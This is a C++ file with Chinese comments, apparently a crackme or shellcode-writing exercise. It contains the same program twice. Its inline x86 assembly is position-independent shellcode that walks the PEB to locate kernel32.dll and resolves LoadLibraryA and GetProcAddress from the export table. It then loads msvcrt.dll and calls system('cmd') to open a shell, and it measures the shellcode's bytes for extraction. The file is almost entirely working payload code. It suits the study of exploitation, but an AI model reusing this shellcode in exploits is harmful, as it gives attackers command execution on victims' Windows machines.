// CrackMe.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<iostream>
#include <stdio.h>
#include<Windows.h>
using namespace std;
int main()
{
goto shellEnd;
_asm
{
shellCode:
pushad;
pushfd;
push ebp;
;获得PEB地址
mov eax,fs:[30h]
;获得LDR地址
mov eax,[eax+0ch];
;获得Flink的地址
mov eax,[eax+14h];
searchDll:
;保存当前Flink
mov ecx,eax
;获得LDR_DATA_TABLE_ENTRY地址
sub eax,8;
;获得第一个模块的dllBase
mov eax,[eax+18h]
;保存基址
mov ebp,eax
;获得PE头部
mov eax,[eax+3ch]
;获得导出表的偏移量
mov eax,[ebp+eax+78h]
;获得导出表地址
add eax,ebp
;保存导出表的地址
mov edx,eax
;获得dllname偏移量
mov ebx,[edx+0ch]
;恢复eax中的Flink
mov eax,ecx
;获得下一个Flink
mov eax,[eax]
;获得dllname地址
add ebx,ebp
mov ecx,4e52454Bh //;'NREK'
cmp [ebx],ecx
jnz searchDll
mov ecx,32334C45h;'23EL'
cmp [ebx+4],ecx;
jnz searchDll
mov ecx,6c6c642eh;'lld.'
cmp [ebx+8],ecx
jnz searchDll;
;获得导出表函数名称数组基址,ebp中是kernel32的基址,edx则是导出表的偏移量
mov ebx,[edx+20h]
;获得导出表地址
add ebx,ebp
;获得名称函数个数
mov ecx,[edx+18h]
;压入ecx和ebx
push ecx
push ebx;
searchLoadLibrary:
dec ecx;
;倒序得出输出函数的函数名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,64616f4ch;
cmp [esi],eax
jnz searchLoadLibrary;
mov eax,7262694ch
cmp [esi+4],eax
jnz searchLoadLibrary
mov eax,41797261h
cmp [esi+8],eax
jnz searchLoadLibrary;
;找到了函数名称"LoadLibraryA",ecx即是函数序号数组中的索引
;找到输出表中的函数序号数组地址偏移量
mov ebx,[edx+24h]
;获得函数序号数组地址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到输出表函数地址偏移
mov ebx,[edx+1ch]
;找到输出表函数数组地址
add ebx,ebp
mov eax,[ebx+ecx*4]
;获得函数"LoadLibraryA"地址
add eax,ebp;
push eax;将LoadLibraryA地址压入堆栈
;开始查找GetProcAddress的地址
pop eax;
pop ebx;
pop ecx;
push eax
;将LoadLibraryA函数地址压入堆栈
searchProc:
dec ecx;
;倒序得出输出函数的函数名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,50746547h;'Pegt'
cmp [esi],eax
jnz searchProc;
mov eax,41636F72H;'Acor'
cmp [esi+4],eax
jnz searchProc
;找到了函数名称"GetProcAddress",ecx即是函数序号数组中的索引
;找到输出表中的函数序号数组地址偏移量
mov ebx,[edx+24h]
;获得函数序号数组地址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到输出表函数地址偏移
mov ebx,[edx+1ch]
;找到输出表函数数组地址
add ebx,ebp
mov eax,[ebx+ecx*4]
;获得函数"GetProcAddress"地址
add eax,ebp;eax中是GetProcAddress的地址
mov esi,eax
pop ebx;;ebx中是LoadLibraryA的地址
pop ebp;
;到此堆栈是空的;
;开始获得system的函数地址
;压入'msvcrt.dll'
;平衡堆栈
push 0;
push 6c6ch
push 642e7472h;'d.tr'
push 6376736dh;'cvsm'
mov ebp,esp;
push 0;
push ebp;
call ebx;
//平衡堆栈
add esp,20
;eax中是msvcrt.dll的基地址,下面获得system的地址
push 0;
push 6d65h;'ms'
push 74737973h;'tsys'
mov ebx,esp;
push 0;
push ebx
push eax;
call esi; 已经获得了system的地址
;平衡堆栈
add esp,10h
push 0;
push 646d63h
mov ebx,esp;
push 0;
push ebx;
call eax;
add esp,10h
pop ebp;
popfd;
popad;
}
shellEnd:
char *strShell=NULL;
int dwShellSize=0;
_asm
{
lea eax,shellCode;
lea ebx,shellEnd;
mov strShell,eax
sub ebx,eax;
mov dwShellSize,ebx;
}
}
//
#include "stdafx.h"
#include<iostream>
#include <stdio.h>
#include<Windows.h>
using namespace std;
int main()
{
goto shellEnd;
_asm
{
shellCode:
pushad;
pushfd;
push ebp;
;获得PEB地址
mov eax,fs:[30h]
;获得LDR地址
mov eax,[eax+0ch];
;获得Flink的地址
mov eax,[eax+14h];
searchDll:
;保存当前Flink
mov ecx,eax
;获得LDR_DATA_TABLE_ENTRY地址
sub eax,8;
;获得第一个模块的dllBase
mov eax,[eax+18h]
;保存基址
mov ebp,eax
;获得PE头部
mov eax,[eax+3ch]
;获得导出表的偏移量
mov eax,[ebp+eax+78h]
;获得导出表地址
add eax,ebp
;保存导出表的地址
mov edx,eax
;获得dllname偏移量
mov ebx,[edx+0ch]
;恢复eax中的Flink
mov eax,ecx
;获得下一个Flink
mov eax,[eax]
;获得dllname地址
add ebx,ebp
mov ecx,4e52454Bh //;'NREK'
cmp [ebx],ecx
jnz searchDll
mov ecx,32334C45h;'23EL'
cmp [ebx+4],ecx;
jnz searchDll
mov ecx,6c6c642eh;'lld.'
cmp [ebx+8],ecx
jnz searchDll;
;获得导出表函数名称数组基址,ebp中是kernel32的基址,edx则是导出表的偏移量
mov ebx,[edx+20h]
;获得导出表地址
add ebx,ebp
;获得名称函数个数
mov ecx,[edx+18h]
;压入ecx和ebx
push ecx
push ebx;
searchLoadLibrary:
dec ecx;
;倒序得出输出函数的函数名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,64616f4ch;
cmp [esi],eax
jnz searchLoadLibrary;
mov eax,7262694ch
cmp [esi+4],eax
jnz searchLoadLibrary
mov eax,41797261h
cmp [esi+8],eax
jnz searchLoadLibrary;
;找到了函数名称"LoadLibraryA",ecx即是函数序号数组中的索引
;找到输出表中的函数序号数组地址偏移量
mov ebx,[edx+24h]
;获得函数序号数组地址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到输出表函数地址偏移
mov ebx,[edx+1ch]
;找到输出表函数数组地址
add ebx,ebp
mov eax,[ebx+ecx*4]
;获得函数"LoadLibraryA"地址
add eax,ebp;
push eax;将LoadLibraryA地址压入堆栈
;开始查找GetProcAddress的地址
pop eax;
pop ebx;
pop ecx;
push eax
;将LoadLibraryA函数地址压入堆栈
searchProc:
dec ecx;
;倒序得出输出函数的函数名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,50746547h;'Pegt'
cmp [esi],eax
jnz searchProc;
mov eax,41636F72H;'Acor'
cmp [esi+4],eax
jnz searchProc
;找到了函数名称"GetProcAddress",ecx即是函数序号数组中的索引
;找到输出表中的函数序号数组地址偏移量
mov ebx,[edx+24h]
;获得函数序号数组地址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到输出表函数地址偏移
mov ebx,[edx+1ch]
;找到输出表函数数组地址
add ebx,ebp
mov eax,[ebx+ecx*4]
;获得函数"GetProcAddress"地址
add eax,ebp;eax中是GetProcAddress的地址
mov esi,eax
pop ebx;;ebx中是LoadLibraryA的地址
pop ebp;
;到此堆栈是空的;
;开始获得system的函数地址
;压入'msvcrt.dll'
;平衡堆栈
push 0;
push 6c6ch
push 642e7472h;'d.tr'
push 6376736dh;'cvsm'
mov ebp,esp;
push 0;
push ebp;
call ebx;
//平衡堆栈
add esp,20
;eax中是msvcrt.dll的基地址,下面获得system的地址
push 0;
push 6d65h;'ms'
push 74737973h;'tsys'
mov ebx,esp;
push 0;
push ebx
push eax;
call esi; 已经获得了system的地址
;平衡堆栈
add esp,10h
push 0;
push 646d63h
mov ebx,esp;
push 0;
push ebx;
call eax;
add esp,10h
pop ebp;
popfd;
popad;
}
shellEnd:
char *strShell=NULL;
int dwShellSize=0;
_asm
{
lea eax,shellCode;
lea ebx,shellEnd;
mov strShell,eax
sub ebx,eax;
mov dwShellSize,ebx;
}
}